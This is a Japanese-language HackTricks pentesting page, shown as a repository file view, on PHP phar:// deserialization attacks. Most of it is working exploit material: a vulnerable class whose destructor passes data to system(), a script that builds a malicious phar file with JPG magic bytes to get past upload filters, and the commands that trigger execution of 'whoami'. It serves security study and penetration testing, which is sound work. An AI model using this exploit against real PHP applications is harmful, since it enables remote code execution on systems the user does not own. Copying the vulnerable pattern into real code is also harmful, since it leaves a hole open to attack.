hacktricks/src/pentesting-web/file-inclusion/phar-deserialization.md

68 lines
2.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# phar:// deserialization
{{#include ../../banners/hacktricks-training.md}}
**Phar**ファイルPHPアーカイブファイルは**シリアライズ形式のメタデータ**を含んでいるため、解析されるとこの**メタデータ**は**デシリアライズ**され、**PHP**コード内の**デシリアライズ**脆弱性を悪用することができます。
この特性の最も良い点は、**file_get_contents()、fopen()、file()、file_exists()、md5_file()、filemtime()、filesize()**のようなPHPコードを評価しない関数を使用しても、このデシリアライズが発生することです。
したがって、任意のファイルのサイズを取得するPHPウェブが**`phar://`**プロトコルを使用して任意のファイルのサイズを取得できる状況を想像してみてください。そして、コード内に次のような**クラス**が見つかります:
```php:vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
```
あなたは、読み込まれたときにこのクラスを悪用して任意のコマンドを実行する**phar**ファイルを作成できます。例えば:
```php:create_phar.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
注意してください、**JPGのマジックバイト**`\xff\xd8\xff`がpharファイルの先頭に追加されて、**可能な**ファイル**アップロード**の**制限**を**回避**します。\
`test.phar`ファイルを次のように**コンパイル**します:
```bash
php --define phar.readonly=0 create_phar.php
```
脆弱なコードを悪用して `whoami` コマンドを実行します:
```bash
php vuln.php
```
### 参考文献
{{#ref}}
https://blog.ripstech.com/2018/new-php-exploitation-technique/
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}